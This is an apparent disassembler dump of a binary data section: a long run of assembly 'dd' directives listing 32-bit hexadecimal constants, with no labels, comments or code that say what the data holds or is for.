dd 571D2CF5h, 0AC5E33B8h, 6B2B79AAh, 0E98245E8h, 68D68D80h
dd 0FB0664C0h, 0B9099758h, 440C0CFEh, 770458A8h, 132B5A62h
dd 2CEB2A92h, 52AF67B8h, 226812B9h, 0F1A0E812h, 851466ACh
dd 6B4781D3h, 81BFF030h, 17EC6497h, 9595F04h, 2AE67619h
dd 0F5977D2Dh, 0DB406EB2h, 82DAADh, 0A1660687h, 0A4595B65h
dd 69183CCDh, 0B1F801B6h, 907EE671h, 9A4E0C4Eh, 5F28B9AEh
dd 90CB3BE3h, 0B80D444Bh, 0AAE6FAC4h, 56D898D2h, 92F04B44h
dd 0EB801787h, 72D09C9h, 4EC1D9D2h, 13BC7FEAh, 0DC59C07Ah
dd 517D4103h, 0DDEF630h, 0BDC427E9h, 2EE2AF56h, 4990D14Fh
dd 4135A644h, 5C016B9Ah, 6D876851h, 2C0FD78h, 5A43A93Eh
dd 5BAA524Fh, 90D60B82h, 0B9192C0Eh, 7793384Eh, 4497622h
dd 0E25C97CEh, 2078055h, 64135B43h, 0A3C59FE9h, 160F9AFAh
dd 7F201DD0h, 483D205Bh, 7107A731h, 0C045193Ch, 0DC10DDF2h
dd 4B183F60h, 0C16B6232h, 7DADBB0Ch, 6FA22E60h, 27D8E917h
dd 0EB336438h, 3699DE47h, 59563021h, 41FFA830h, 77B1DFDDh
dd 0D0D351CBh, 4B48632Fh, 9F43AF80h, 90A984Fh, 13346A75h
dd 5D624E01h, 0ACD840D6h, 6127ED47h, 81D6F029h, 0C9445B08h
dd 666289ACh, 79E413F7h, 0BD550401h, 6A3F717Bh, 82DAF1F8h
dd 78F03B8Bh, 293CAA0Bh, 5B96574Bh, 2E6EBA00h, 0E9560EF0h
dd 0BC8BB560h, 7CA78E67h, 607C7009h, 7A521F9Ch, 1C3120DAh
dd 138F8320h, 0A3FD885Ch, 74915B6Eh, 0B800A9F3h, 2C274462h
dd 6B2CF74Dh, 0C54BB368h, 0FDA21A67h, 0A83E5380h, 600F122Eh
dd 7F52BACFh, 0F4E504ABh, 31580491h, 0F37A1FA1h, 0CE2B842Fh
dd 0CB105B0Bh, 0C8837363h, 0FA30E281h, 4A722F87h, 7C9DEA14h
dd 85EA9F49h, 0ABDFFEF4h, 0C7CD8617h, 0E114AC6Eh, 0BF01953Bh
dd 3043F8E1h, 17F8893Eh, 70C83DC5h, 0CDFF247Bh, 49EF0184h
dd 7213A946h, 0E90840E7h, 0B857652Ah, 8A52A097h, 7A79C01Ah
dd 1C888229h, 0CE41A70Ah, 25616E5Dh, 928594F2h, 97556853h
dd 8478B2E3h, 3E067348h, 227EF125h, 726C55C6h, 6EB9279Dh
dd 22DE60A2h, 0C25A8B09h, 50EDFDC1h, 2F08E425h, 0A6990C73h
dd 0B3177B6Ch, 0F93808BEh, 4EF4D025h, 8177ECB3h, 710A5157h
dd 0BDA696F0h, 0FAE95F7Eh, 3924B68h, 64EE81D3h, 3010C289h
dd 710C2745h, 1A463F75h, 0C94B12ACh, 8AE10023h, 29D207E5h
dd 0C122C64Eh, 4BA00A0h, 525EED35h, 14329E1h, 0EFD4C8B9h
dd 5AD12731h, 4EB69FC6h, 564C273Eh, 93E950DEh, 4674B44Fh
dd 110999FCh, 0B5D0AB2Ch, 3AE6067Ah, 0AE3C0C94h, 8539C8EBh
dd 321B5728h, 0EC185080h, 11613E9h, 60C5A2DFh, 2BDC4326h
dd 4BFAB0F9h, 0DDE02805h, 498E6BF9h, 0F9656017h, 0B7AED261h
dd 72E90C88h, 0E0B91068h, 5D6D4C0Dh, 8EDC0517h, 97404EDDh
dd 0EFBDF4C1h, 6A029DFDh, 0C557B847h, 4DDFE939h, 2D5C92A3h
dd 0B181303Ch, 80568195h, 0A66089E3h, 4F52F650h, 0C1B874FCh
dd 2B99B404h, 8DC6A4ACh, 2398931Bh, 48DDD205h, 2CEFD501h
dd 0EF3EC622h, 0DC3D2546h, 5008A013h, 1026F05Dh, 24677629h
dd 2C2ED103h, 6C0334Fh, 4F5E3C59h, 2E2DBA2Dh, 0F20EC46Bh
dd 9FECD66Dh, 1A104260h, 589D793Ch, 0E5DC953Bh, 57E330C9h
dd 30388276h, 0DE4F015Ch, 0E96538AAh, 9E9FA42Ch, 5B0E6884h
dd 74E560FBh, 7F2DA678h, 0C3275429h, 0AA84DB0Dh, 0CB4C329Bh
dd 4F2F2C49h, 0A3CF3387h, 0E52088CAh, 12F37BE3h, 0AB3F5271h
dd 0A6F97D17h, 0F94F723Eh, 69C9DE1Eh, 0DD93FF5Ch, 2C283EC1h
dd 0DA68C21Bh, 1B9CC619h, 48E310E9h, 287D71E9h, 42ABD2B2h
dd 0A635E906h, 72703246h, 59145695h, 7CBE7759h, 77256DBCh
dd 282FC41Ch, 62347C92h, 0BEF117CCh, 0DAA2E985h, 207BEEB7h
dd 42BD1226h, 73C07F07h, 86096855h, 0FD249973h, 4600131Ch
dd 21547A6Bh, 94B7E9C5h, 0A69E253Eh, 0DA97E927h, 3CC50F3Eh
dd 66443961h, 0B640F431h, 744F1BF4h, 71407BB1h, 0E744776Fh
dd 759BAE80h, 0EA296D64h
dd 881CAF1h, 6886E95Dh, 66592F3Fh, 7242C027h, 0E97E575Ch
dd 79C67627h, 0BC6E88EAh, 5649BA01h, 7E300844h, 3D0E16B8h
dd 12C8D43Ah, 2718BC08h, 594E515Bh, 2E72C6E9h, 0F2B844D6h
dd 91DDD312h, 445119h, 5251905h, 0F80163A8h, 0B807132Dh
dd 44B205A2h, 1AAB296Ch, 6ED80D47h, 79E9DEBFh, 9123112Ch
dd 41B47748h, 0E690301Fh, 0EA8BAD69h, 82F4D4C3h, 57BC20DBh
dd 0EC77F5CEh, 0C800D1B1h, 13214B05h, 9771906Eh, 0BE00259Ah
dd 324D7C0Eh, 2E67695h, 38D83991h, 3B48407Dh, 20EEB7A3h
dd 2F5B6812h, 1B82A137h, 0BB2BA005h, 5B3742E4h, 20A5B161h
dd 6D145012h, 5B9B1AEBh, 53040B8Ah, 0CC9661E9h, 0A0B25ED2h
dd 0C2E4C5B7h, 9244CC6Ah, 8361EC0Fh, 5104C93Bh, 397C6B3Ch
dd 0DEFB21B4h, 51616246h, 9ED7B54h, 58791BEBh, 1F7E0888h
dd 53C98B5Ah, 2153657h, 0F1067968h, 52D65966h, 1611F2AFh
dd 0F1E3E95Fh, 0F3DA3E9Eh, 671EA904h, 73B8A971h, 5558A30Bh
dd 5B60040Ch, 33C9BD00h, 2BF46736h, 51904A4Ah, 58A85893h
dd 95015F0Bh, 1307072h, 81604DEh, 12551E01h, 45751B20h
dd 0FE414241h, 0E55F0802h, 0EA808024h, 0D08850E2h, 0E910C7E4h
dd 0F7509B7Fh, 0FFC14A34h, 0D7686660h, 0F095A63Bh, 26A24A5h
dd 0C5DE08FDh, 0CEEF0493h, 0E95B0522h, 0F5EAEF68h, 3B1921A8h
dd 0A0196DA6h, 0F95720D7h, 5CF334E5h, 4CC0C6B6h, 253B2613h
dd 19C1DFF7h, 9E817008h, 6C146512h, 1282B2A1h, 78365A75h
dd 39F2D4E1h, 2F2309B4h, 9784C87Eh, 11862D70h, 0C88AA77Ch
dd 0E9040A2Dh, 0CCAF0AF5h, 6341E4C6h, 0D1F3616Bh, 5ECDE0E5h
dd 3A90A19h, 61E8ED11h, 219E13C8h, 3A2289EEh, 84D317A8h
dd 4171EAC3h, 3FF05AACh, 0E642ED01h, 18B27503h, 2920F5Bh
dd 2193C1B6h, 265A27A3h, 0EBD61882h, 0EEF5298Eh, 0E89B6D9h
dd 0D23F4A5Eh, 4BB5F894h, 0F2B751F8h, 7A4ABCCDh, 71BD3A40h
dd 95DDB980h, 6F4BA4F2h, 0CF2A68A1h, 0FF9F6B62h, 7E979E14h
dd 4BBC16B7h, 20FE5BFAh, 80EBD109h, 2D5A084Ch, 0FB09056Ch
dd 885260E9h, 220FD044h, 9F893714h, 55406849h, 0DAFEF4B1h
dd 9F8C8828h, 705FCF75h, 6C7BB7CBh, 73E28AE9h, 16C10189h
dd 5681475h, 0D90314Eh, 0D325835h, 8841FC27h, 2C635BE2h
dd 0EBF74BEAh, 0C5F29FFAh, 3F89D1F8h, 41C3DA13h, 235A2D14h
dd 2E143A08h, 0D5F07F11h, 7F4C85C4h, 0C40131BEh, 4867AD05h
dd 8120359Eh, 0C1409C21h, 68EE04D8h, 4B730C07h, 5545AAE9h
dd 56D58916h, 910F8E09h, 0F4DABA0Eh, 548E021h, 0F32C0858h
dd 3107AC11h, 936EF38h, 764920EAh, 0C4F4B805h, 5E878617h
dd 0EC77C6C2h, 0BFF09168h, 0BE951212h, 87EA7422h, 21C38CF9h
dd 0B6BE854Dh, 90B01230h, 0A2908EE5h, 76C2506Eh, 0D4C65F0Dh
dd 0CBF9EE09h, 0BF027F6Ch, 2F5406E2h, 55EAE255h, 0B822258h
dd 4A3D09C0h, 5A4D0412h, 0D1F3F1AAh, 0F9DFC242h, 12546BFFh
dd 25072A00h, 0F332160Dh, 4EF8E9D4h, 9829A841h, 30236E58h
dd 0DD0C53BAh, 773F6C56h, 880E801h, 0B5290C36h, 3282E573h
dd 5F428B4Eh, 0C560FEC2h, 62D2AEC0h, 0DF90951Ah, 0B8E99AB8h
dd 0AE416FFDh, 39D97956h, 80661B20h, 1B92DADh, 0B590500h
dd 49E90999h, 0AE4E519Dh, 735A7972h, 14C62DEBh, 22411E90h
dd 17367964h, 221F6737h, 4E589194h, 4233749Fh, 892D3F7h
dd 81AFEB5Dh, 9D07CD1Ah, 0AAF36073h, 2C237692h, 0B05A0959h
dd 8117E871h, 0DB18E142h, 9008EC3Bh, 42AC1217h, 0E57D01C3h
dd 7A712AD0h, 1F9F08C0h, 4D5B3E34h, 3A2FF586h, 0E9501AAEh
dd 433BF9C0h, 0C1517E29h, 2BC6F08h, 542DE9A8h, 923FD3A2h
dd 0FA2BA422h, 68875F4Bh, 72E005B4h, 3E527253h, 3AF28851h
dd 0DA8259CBh, 7947685Bh, 0E1993466h, 9DB2222Fh, 0BD5955E6h
dd 3DCB08CFh, 1590C782h, 15512314h, 0AF40B0A8h, 5049168h
dd 13F0295Eh, 7D68E4BCh, 317D3C43h, 191B8B9Eh, 0C134280Bh
dd 9722AAFh, 0BCDE320h, 340B393Ah, 0BC49EE05h, 0D109D670h
dd 0F6D26E07h, 122D9C71h, 2CC2EA5Ch, 0E55E572Bh, 0F447DD49h
dd 0FA9655A5h, 0AA4A22A4h, 0FD5CB6C2h, 3CE4BA7Bh, 0E48DD206h
dd 1AE5E5Ah, 65B9CEC7h, 0F6B0E730h, 860E2287h, 0DFD6F758h
dd 7643E984h, 6958AEF2h, 5E74F215h, 131A5F78h, 21D8BB7Bh
dd 4E639852h, 0BD241662h, 5905E2AAh, 0CB4BA7C6h, 0EE3177D8h
dd 261698E5h, 22D17C8h, 12277E9Eh, 4462E801h, 0F7BF3268h
dd 73A81A12h, 821608ADh, 9218EC1Fh, 0CB0281EEh, 9D4F7BD1h
dd 0A942090Ch, 135E106Dh, 536B2506h, 3E991894h, 929DFF3Eh
dd 95F433h, 5DDB1CC3h, 0BC0C768h, 0E9DE315Eh, 61B54FCEh
dd 2B1E7605h, 37C06664h, 5C502946h, 3B109516h, 963124C0h
dd 0CCCFE30h, 0FE45E093h, 538A5B13h, 56D703E6h, 0A4E1A2CBh
dd 0A50B64A9h, 33506D1Eh, 0FC6FDE8Bh, 1457D20Ah, 46BD0951h
dd 80D73F0Ah, 4137A30Fh, 61DDA00Ch, 95027A2Dh, 659D0EF0h
dd 0A41FA41Dh, 788807CFh, 68FF0BA1h, 4A3D7695h, 57C1AF67h
dd 0F2CA7FBDh, 4EB256Bh, 0C1206F47h, 428E71B5h, 0AF5E0CB6h
dd 1A22962h, 7BE7C780h, 6C6E19C7h, 4BB0122Bh, 4ADEB228h
dd 0B70813BAh, 0B0281CC0h, 0CFAE4A38h, 2E451212h, 0EBC934FEh
dd 5F8253F0h, 1D39AF89h, 0BA247Eh, 1F2E408Bh, 0E9174A4Eh
dd 47EC7264h, 0CEEB08A2h, 0A602E05h, 9F011E88h, 5C692214h
dd 38C50C82h, 0A58046B3h, 0F4DF7C29h, 87ADE931h, 93705F52h
dd 941EF4FAh, 0C2C19E5Fh, 19D30AFh, 5A71E957h, 0C0B8B6Bh
dd 0F3779868h, 318540ECh, 0A0E4F29Fh, 0FC9DB44Fh, 4D9461h
dd 0F6801CB6h, 0C667FE05h, 0EE801A0Ah, 1DB15159h, 81CE306Bh
dd 0D05AF108h, 52AAFBE1h, 0F6D70775h, 0E99B2C90h, 6FA924Bh
dd 3C68D1F7h, 295B837Fh, 40402DFEh, 903EAD3Fh, 57E9121Ch
dd 8DCF08E4h, 0CC22B903h, 0D1A97E12h, 549C99C9h, 6C1ABEFh
dd 0F7C26C77h, 0E904CC6Dh, 0CFBA257Ah, 0BF4A7FF8h, 0F1296A04h
dd 29EDBF9h, 70F009BDh, 7DFDE880h, 0C89D6B19h, 5B0AA9A7h
dd 783FE807h, 7AD24E14h, 493206EAh, 0B0C58F6h, 37E035A4h
dd 0C09DE4D0h, 2748CEBFh, 2B5F6813h, 0D1ED078Eh, 77C7AE82h
dd 680428D9h, 21EF0477h, 2882DB1h, 6D805D4Bh, 317FA7BFh
dd 0E984A7BEh, 68048C8Dh, 5261986Fh, 0B55A5828h, 53B919C0h
dd 0C01B8B1Ch, 714924DAh, 514EE914h, 0C52D1EC0h, 0BC332E28h
dd 0A32023Ah, 4CDC359Fh, 8B5BFC7h, 0C19385BAh, 0E6EAC1C6h
dd 0C0D184h, 7874CF81h, 59727B9Dh, 881D3CA5h, 800ECBDDh
dd 3B54D219h, 0D93F600Bh, 0BE566358h, 5F4D0AF0h, 4C06DB0h
dd 5107E6C1h, 8E4824E9h, 0C5688E08h, 0C20EE3E4h, 0FE00959Ch
dd 73EC80CCh, 0ECF9E4C4h, 880304F4h, 812C58E1h, 0D204C882h
dd 0E858B975h, 15A079FDh, 0BCB64E8Ch, 0F89B4E5h, 55CA5138h
dd 484700EEh, 1BBB5D03h, 0FCB7B804h, 0C2C1EB81h, 0E0407C58h
dd 3F922AE3h, 9000549h, 9C354A18h, 0DF21461h, 3F63475Ch
dd 0BB7E9D02h, 1209CD93h, 0A4ACDB1Ch, 257EAB67h, 0BD2F98D5h
dd 0ECB481A3h, 8014DCF6h, 28838EE4h, 44488C72h, 116B1034h
dd 1FB6ED40h, 18F4300Eh, 28CC1C5Ah, 0B5850082h, 28C58057h
dd 34E3F6B1h, 0E85EB469h, 53AF5F77h, 7C6E8F7h, 0DBF692EBh
dd 59B015C4h, 2AEABDBAh, 2D938580h, 42906035h, 9A05FC01h
dd 0B80DE93Bh, 0E54AB56Dh
dd 3A02EDF1h, 4E02DA13h, 0D519DA15h, 0A5D759C8h, 554BF624h
dd 0AAB2927h, 0F7180D90h, 97DD0434h, 807E9CEEh, 1220D648h
dd 3B6015B0h, 7D50683Ch, 0C3722A32h, 5245F2FBh, 20649126h
dd 17FAA33Eh, 0C888A416h, 97DD9553h, 0AB4A3B24h, 2A683C98h
dd 5C2E5CA2h, 0DA20D156h, 0D8405827h, 2CA80C0Fh, 0E9D3C589h
dd 3A125B4Bh, 74713A03h, 4DA8E588h, 823F5081h, 7AB67159h
dd 0E8283806h, 98AF3510h, 7E301A1h, 6E296848h, 89C45FE8h
dd 935CADD0h, 0ED0E7EE8h, 34AF44E9h, 5110EA32h, 0A0EC4A08h
dd 0FDB47Ch, 8166EFBFh, 6F64F49h, 4268DE97h, 0C2825251h
dd 137D7FB7h, 9374C10Ch, 0E4F20164h, 0CA08DAD6h, 4A97D9D6h
dd 820DB901h, 0C0FE691Ch, 75112D8Ah, 0B84D4F16h, 0E90740CCh
dd 1488BA4Bh, 256C96ABh, 25AD67Eh, 0F7B3EDB6h, 1259AE6h
dd 0D0CC75F3h, 0E7F1234Bh, 0ADEDF996h, 1A93468Fh, 0D51CFD29h
dd 7FE9A321h, 2BD13EC2h, 9404C5F3h, 4EA2EFF5h, 0B63604D7h
dd 1E79FB2Ah, 20503D7Bh, 4613669Bh, 0C8EF4F88h, 917C687Ah
dd 0AF3718B5h, 4C790949h, 0B1A0FE31h, 0AA53E94Eh, 0E857CAAAh
dd 8284EDB6h, 13E3DBDFh, 0EA1D8087h, 0E9254207h, 0BF9E4021h
dd 59CC2405h, 0E58E28C6h, 0C53F5DCDh, 628901A5h, 7E34D545h
dd 80938D4h, 0AFB17758h, 28002ABCh, 80F32859h, 2A1F4CC3h
dd 3052B237h, 0A4B6528Ch, 0D6CEFE24h, 902A0509h, 6ABAB159h
dd 0A781820h, 6C9D5388h, 37410A12h, 0BE8827Bh, 7BBFC7D0h
dd 0B1B7C420h, 3C42EA99h, 0EA45810Fh, 0E68291BDh, 204F6508h
dd 5E120D6Ch, 0CD013AE8h, 7E6E76FBh, 61B096Eh, 8A8361AFh
dd 0E9E8D67Fh, 0EBDD8CF0h, 0E3401893h, 0CC4DFABBh, 5BACF44Bh
dd 0EA40D98Ah, 0D10048DFh, 0FA682FEAh, 4C5A195Dh, 0F7D833D1h
dd 50BACCD0h, 6819E11Fh, 0DF452D27h, 55840E2Fh, 50ACAADEh
dd 1285F45Fh, 1523501h, 0E449F766h, 5AF6207Ch, 1D2E031Fh
dd 8A074E4h, 2D141CD0h, 82F9DA5Fh, 6BFA5E23h, 1E1D0BE8h
dd 5BCC5BDh, 819509E1h, 3F45A9E5h, 0FB176E8Ah, 5F95CA8Bh
dd 0E9C509B2h, 7D99EF9Eh, 92BECBE4h, 6F4A3186h, 3CAE527h
dd 0BB7CB1ADh, 60D34034h, 79AF4E5Ah, 5600616Dh, 0FAA0D968h
dd 9EA3E9E7h, 8B382647h, 6EC6AD38h, 4FE36C20h, 184DBC54h
dd 0CACB6522h, 0F73B300Ch, 0BC29C20Ch, 8AB9BA25h, 0E20F7EA8h
dd 0B7196F0Fh, 5D808C1h, 5D5B0A40h, 8D2C27E9h, 0ECB0BF52h
dd 3C6AA26Ch, 62FD26C1h, 5EF109E4h, 2567520Ah, 0BF542056h
dd 0A92DCD84h, 2FE917EDh, 0B79E9B1h, 3543EE97h, 4887BEE9h
dd 80196F76h, 0F5E3FD8Ah, 7A222549h, 73F48BE0h, 0C5CC20FAh
dd 0D4F69318h, 58285716h, 7F8462E3h, 601BD04Bh, 0AD90C66Dh
dd 4E5FFD3Ah, 0ABC60DF8h, 0BB095A82h, 5F2327EBh, 0F1071581h
dd 8AD4FA1Ch, 9DEBF2A5h, 564638Ah, 0C12F08F7h, 5911225h
dd 2113EDF9h, 97F7ACF1h, 0E05FEEDFh, 0F9C1124h, 90F4CCC9h
dd 88D6BC70h, 6613AF7Bh, 9CEEE2D3h, 494BEC90h, 0EF535EC9h
dd 5992FB04h, 174665B4h, 0F8841BA0h, 0B6D2106Fh, 1F575B12h
dd 7394255Fh, 17018F37h, 9746B861h, 41C1CBCBh, 0E83F08CAh
dd 86E9C2C0h, 59CCE814h, 9402F62h, 0EF7A1544h, 0D4222A2Dh
dd 768002F8h, 2BDE3735h, 636FB804h, 843924AEh, 0AAF7D41Bh
dd 8ED92DB9h, 87A83AD9h, 634E41D2h, 7A2F9716h, 120C18E0h
dd 44C259E9h, 0F60DD7CCh, 4F34967Ch, 0A4E48805h, 848732BBh
dd 41EB5824h, 8D044715h, 0A5F8F91Bh, 12BCD61Dh, 92F3AB29h
dd 1543FC4Eh, 16AA42C3h, 79208174h, 4B4303A1h, 8F95EC61h
dd 2434C458h, 0A55EC555h, 67BC6A66h, 6DB4BEB4h, 0C4125E9h
dd 68673FF1h, 0F70B4D77h, 0D8BF66EEh, 0B15A5B32h, 0C6F33EE5h
dd 0BC25A8D6h, 23854A2Fh, 28C95A34h, 604D02A9h, 3E025E24h
dd 0CA1848B3h, 305C2ABAh, 0FD6AEF72h, 321B6809h, 0E90D0C06h
dd 5A4280DCh, 6B3DFA9Dh, 2FFF1847h, 5DE7699Ah, 0A9BF4ABEh
dd 0D69F80E5h, 13121F63h, 0AA27C4E9h, 0FE049B74h, 66077EB0h
dd 3A407350h, 0AEB7277Dh, 0A4D94F5Ch, 90B8E797h, 663DB981h
dd 0E1CC6054h, 3201950Ch, 0BE194029h, 0C6D5E736h, 280F118Ch
dd 0E5522CC8h, 0B52D5994h, 0B74D3160h, 9BF437B0h, 42FC5881h
dd 705981B3h, 0EB5EE437h, 0EA377D0h, 0EC744B8Dh, 0F33B005Dh
dd 0F7EBD171h, 0E908C2DBh, 98F72FB2h, 0B499701Fh, 0C2FB7B5Ch
dd 0B2F57740h, 805702FDh, 0A907B3AAh, 53FBA14h, 0CC76B1C2h
dd 234B8073h, 80B5B37Eh, 82316E93h, 0BDE91216h, 1B05F4C8h
dd 2160441Eh, 758833C9h, 0D820E366h, 0D65ADDE2h, 0BE5BF04Bh
dd 8FEF409h, 25AF26CFh, 0F78725F7h, 3B2C48D4h, 804ED190h
dd 1C3830Ah, 931271BFh, 0E9F303C1h, 285BC99Bh, 392D35A0h
dd 6FAE50C2h, 57610F1Ah, 9ED00649h, 24080FA0h, 0F27F5E81h
dd 88FBD687h, 0AFF4E905h, 42361A97h, 0A236D05Ch, 49D657D1h
dd 984512F3h, 7376BE33h, 0FDA09589h, 22864CEEh, 0A1524161h
dd 0F7718A25h, 0DC7662FDh, 0DFC76404h, 2C12FED5h, 0C4EE7ECh
dd 0A8ECDE7Eh, 3DD11E00h, 0D68F181h, 0A427506Dh, 0A3645B3Ch
dd 5D5C89E9h, 7F087C48h, 3FD85181h, 0A87BE1AAh, 0F4BEF45Eh
dd 7E41EDE7h, 61695630h, 0CAC3D3A6h, 5A7AA558h, 0D108835Fh
dd 3443BEF1h, 0D70BCF83h, 80A72DCFh, 4374F693h, 0F3E9245Eh
dd 2474AD9Ah, 1E7A7BEBh, 24DDA728h, 88EB5F0Ch, 0E49731DDh
dd 9F232027h, 21B05004h, 0D8ACFAB3h, 42AE2C1Dh, 82BCE9D8h
dd 5338C368h, 0F4C66CB5h, 0D30A5670h, 942BE801h, 0A5E42D21h
dd 0E385600Bh, 0F58FA8EAh, 0E122058Dh, 85EDD158h, 1C6926EDh
dd 897EB716h, 81C1C04h, 3E34A513h, 4138A1DCh, 1A10207Eh
dd 36F0301Eh, 0F5A41BD7h, 0EF5AB5EDh, 717C0CC1h, 9870066Eh
dd 1095ACh, 1C7B5F09h, 5EB23D38h, 0BE9B37FAh, 0AD8F318Ah
dd 1109C6D4h, 58E45FC0h, 59A4232Dh, 0A15469E1h, 0E908C559h
dd 0FE00F74Bh, 564FD6BBh, 4C06F437h, 0A9845086h, 665B0589h
dd 0D1D081C3h, 9B34A10Eh, 16B30A53h, 3D11EB0h, 0BFB5515Bh
dd 262DA286h, 0C9CD5671h, 3002A254h, 0E17D180Bh, 372ABF9Dh
dd 0C75F96C9h, 52DBBB04h, 5A876CB0h, 560F1EB1h, 0B8053430h
dd 4B5BE02h, 0AA382F68h, 0B64E229Ah, 0E9FD094Eh, 55EEC1A4h
dd 0AD46E86Bh, 85D8EC7Eh, 95D87D3Ch, 6C0C2F68h, 58206AEEh
dd 0F381026Ah, 9E106BEh, 843B9A7Ch, 118FF7B7h, 0E91ACCBCh
dd 2C90C9ACh, 4E54F868h, 485AE968h, 26B81E17h, 9515CADEh
dd 1AAB5F0h, 736DD03Bh, 0EAB47A6Fh, 2968F65Bh, 8273040h
dd 302EC3C8h, 0D7F3C18h, 6E7D1E3Dh, 4627BA71h, 8A6F7223h
dd 2EF0205Eh, 0A8B71853h, 0D82AE4D0h, 0F0A0F595h, 5CB5EC4h
dd 0A2CE0126h, 1CC10820h, 6F6D46E8h, 18396E60h, 0CC7CB03Ch
dd 0C02DE50Eh, 0E9734048h, 0E9CA6367h, 0AAE1DEC5h, 0C265206Bh
dd 42365506h, 9794CD31h, 44BA9968h, 6C93701Eh, 0DED6D789h
dd 14044FFBh, 778C187Fh, 0D2431604h, 1240FB21h, 164E2629h
dd 2A4AB84Dh, 1A89E3F0h, 455856FEh, 731D8940h, 1215BB80h
dd 1062D227h, 89040645h, 0BE8B205Fh, 194C238Eh, 0A8590949h
dd 1C11A9F5h, 0DF2D51F9h, 0FB974D34h, 61EA2982h, 6376F6E9h
dd 10B24891h, 0B0406B23h, 0A3945FF8h, 0E985984Ah, 951970EBh
dd 0B68C16FDh, 0BF29C4F9h, 0B631A2C9h, 4580E64h, 8A17E22Dh
dd 6380AA52h, 165C30h
dd 0F7814F39h, 3A257542h, 8DEEE917h, 4A72C5F2h, 12008E0Eh
dd 0CBEB5EF1h, 0CF2A1357h, 1345DAAEh, 0AF08892Ch, 0EF5B140Bh
dd 135F2E48h, 0F2DAEE3h, 7FAED82Fh, 13E0B844h, 0F5B700Ah
dd 0DAA6023Dh, 0D3A1A78h, 37FC81BFh, 0FE79FB2Dh, 0E9FA043Bh
dd 0C2D988FAh, 6441360Bh, 634A773Bh, 46ECC87Fh, 47932821h
dd 0FF873287h, 0ECD5D83Eh, 6922BC0Ch, 3585E4DFh, 12337BB3h
dd 0D2D4B06Ah, 0C9490ABDh, 0DC9843Dh, 3FF2C65h, 412D60A7h
dd 82560C3Eh, 6BE9DD04h, 0F3F5A3Fh, 0BD72B3Ch, 0EE7F3964h
dd 79132DF2h, 96A7A85Ch, 0A6AC6105h, 8B01C00h, 75628D4h
dd 3E1AFABEh, 0B5CEC026h, 3D12A64Bh, 40FA7CE9h, 55FF8DCh
dd 4C00448Bh, 6C9B3547h, 13531112h, 0E8B530E9h, 0E22E1F5h
dd 1B883740h, 92819B4h, 5391AD9h, 6EC8E0EBh, 3F657A41h
dd 68092169h, 0D2793D86h, 1A75798Bh, 883A5CB9h, 680B639Ah
dd 608FD620h, 0C9280BB9h, 95B087F6h, 3008DD6Ch, 8EF6977Eh
dd 26D972C9h, 42A1970Fh, 5D06C091h, 0BF219D2Bh, 3B0EE8C1h
dd 0E9B180BCh, 2D946BC6h, 0FF0247BAh, 0EE732E79h, 185FF3DBh
dd 0C32928DCh, 1A506810h, 88391864h, 910FEB0Fh, 8B4A2654h
dd 0A7FC79E6h, 29325850h, 42D97F8Bh, 947B8468h, 0EC80CFD1h
dd 4F501070h, 7552B48Ch, 0CC319240h, 0BEADA9BFh, 3F0023E6h
dd 81D6F771h, 22FE7E6h, 0E946256Fh, 0B6C5B52Bh, 189A6805h
dd 2217DDF3h, 0C440ACEBh, 36D4CE82h, 55BB0EC0h, 272A7CF6h
dd 7A59029Fh, 0FFC60C2h, 0C439E764h, 6E9409E2h, 0E1F6C440h
dd 60A55797h, 0D958C96Bh, 0FE7E6563h, 923EFEC9h, 980680D7h
dd 7D0ACBFEh, 9F0CE0E5h, 26086345h, 9FBF0043h, 0C1020E10h
dd 0FE06EF24h, 0B24DF903h, 5B90B749h, 316B5333h, 597F0CE9h
dd 0DBAC7F5Dh, 0DF0F9DC6h, 1B29DB98h, 9912BE51h, 5F99EAC4h
dd 40234448h, 79955C46h, 0D78988C9h, 27555227h, 5F904943h
dd 0B7C12DF9h, 4BC011C4h, 0BAA0B1E8h, 107B31B6h, 8AEE2E93h
dd 8FC13814h, 27C30A09h, 0D325DB1Ah, 0B0EE4205h, 0F0E7FAACh
dd 2CD828B3h, 8AB42BE9h, 6F32E68h, 0BD55E0A8h, 174C44B5h
dd 0B1ED1A2Eh, 0AD8B550Dh, 9F849006h, 0B85CBF04h, 0A8AB585Fh
dd 410078DDh, 35485334h, 5B120D04h, 2ECFFC97h, 0D58A2721h
dd 44A4A6B0h, 14C8D30Bh, 0A7515E2Bh, 0F41127D3h, 0F25C4583h
dd 0C7019643h, 26985127h, 0D0A48078h, 0A125A9EEh, 5D1F26h
dd 82BBB370h, 1CDDA640h, 5919C727h, 325D52FEh, 0AC61754Eh
dd 18E9C44Eh, 0CD153366h, 7B1FE242h, 0BA74B7A0h, 4D926885h
dd 0DED6EE4Bh, 0FA362452h, 0B875194Ah, 2D685298h, 0A6D14B09h
dd 4A5D44Fh, 26A83C91h, 7B0A8AFh, 79A2639Ch, 63E0069h
dd 0D497C9Fh, 0DAF7D187h, 155E2008h, 97BA5280h, 0D09D52E4h
dd 5FC9979Ah, 0C4BA7C5Fh, 0D2AC6AA0h, 551BBEC0h, 810342B1h
dd 0E65BC4F6h, 0AB500030h, 0C11FF30Ch, 20DD06EAh, 0FAB7D801h
dd 4D2821F7h, 0FFF2E213h, 0ADA35C9h, 7734097Bh, 0A2201A5Ah
dd 0F788160Eh, 0E38EAE5Ah, 0EF45605Bh, 7DB457E9h, 162C4812h
dd 4F6000BBh, 0D8213BC0h, 676306E9h, 0BB2DB31Eh, 0E6EB8CB5h
dd 1BE19690h, 0A55AB93Fh, 0A69D98D1h, 2D3ED2Eh, 4E720AC1h
dd 62BA506Fh, 9F50A889h, 76B9AFA2h, 0F2FDA0D5h, 0F6F3D5FDh
dd 58B662h, 2D06E0C1h, 7725E47Ch, 344555D1h, 0D98F4D09h
dd 7D521EF6h, 0AD94F12Ch, 0D182847Eh, 0F5B8B4E4h, 3158EEC4h
dd 68500435h, 0B88C1601h, 0C80C4EFFh, 0A8A841F2h, 5727CA01h
dd 276464BFh, 7FD2864Fh, 0A7136909h, 0CF0E001Bh, 98675A61h
dd 58326175h, 3E73C680h, 0CBD847E1h, 17C3F29Bh, 0F85EE951h
dd 2EB65E9Dh, 593C680Bh, 53623AECh, 0B482130h, 0CE081550h
dd 276CF7Eh, 50FC3273h, 40B83BC1h, 75A124Ch, 0F1817101h
dd 30E41137h, 6499E50h, 64719536h, 584D86BAh, 9221F60h
dd 3A0D55B7h, 0FAC127F0h, 0F687206h, 389B7D60h, 470BD05Bh
dd 0E87710E9h, 1628EE33h, 0AA509022h, 3C081550h, 7AF9F75Bh
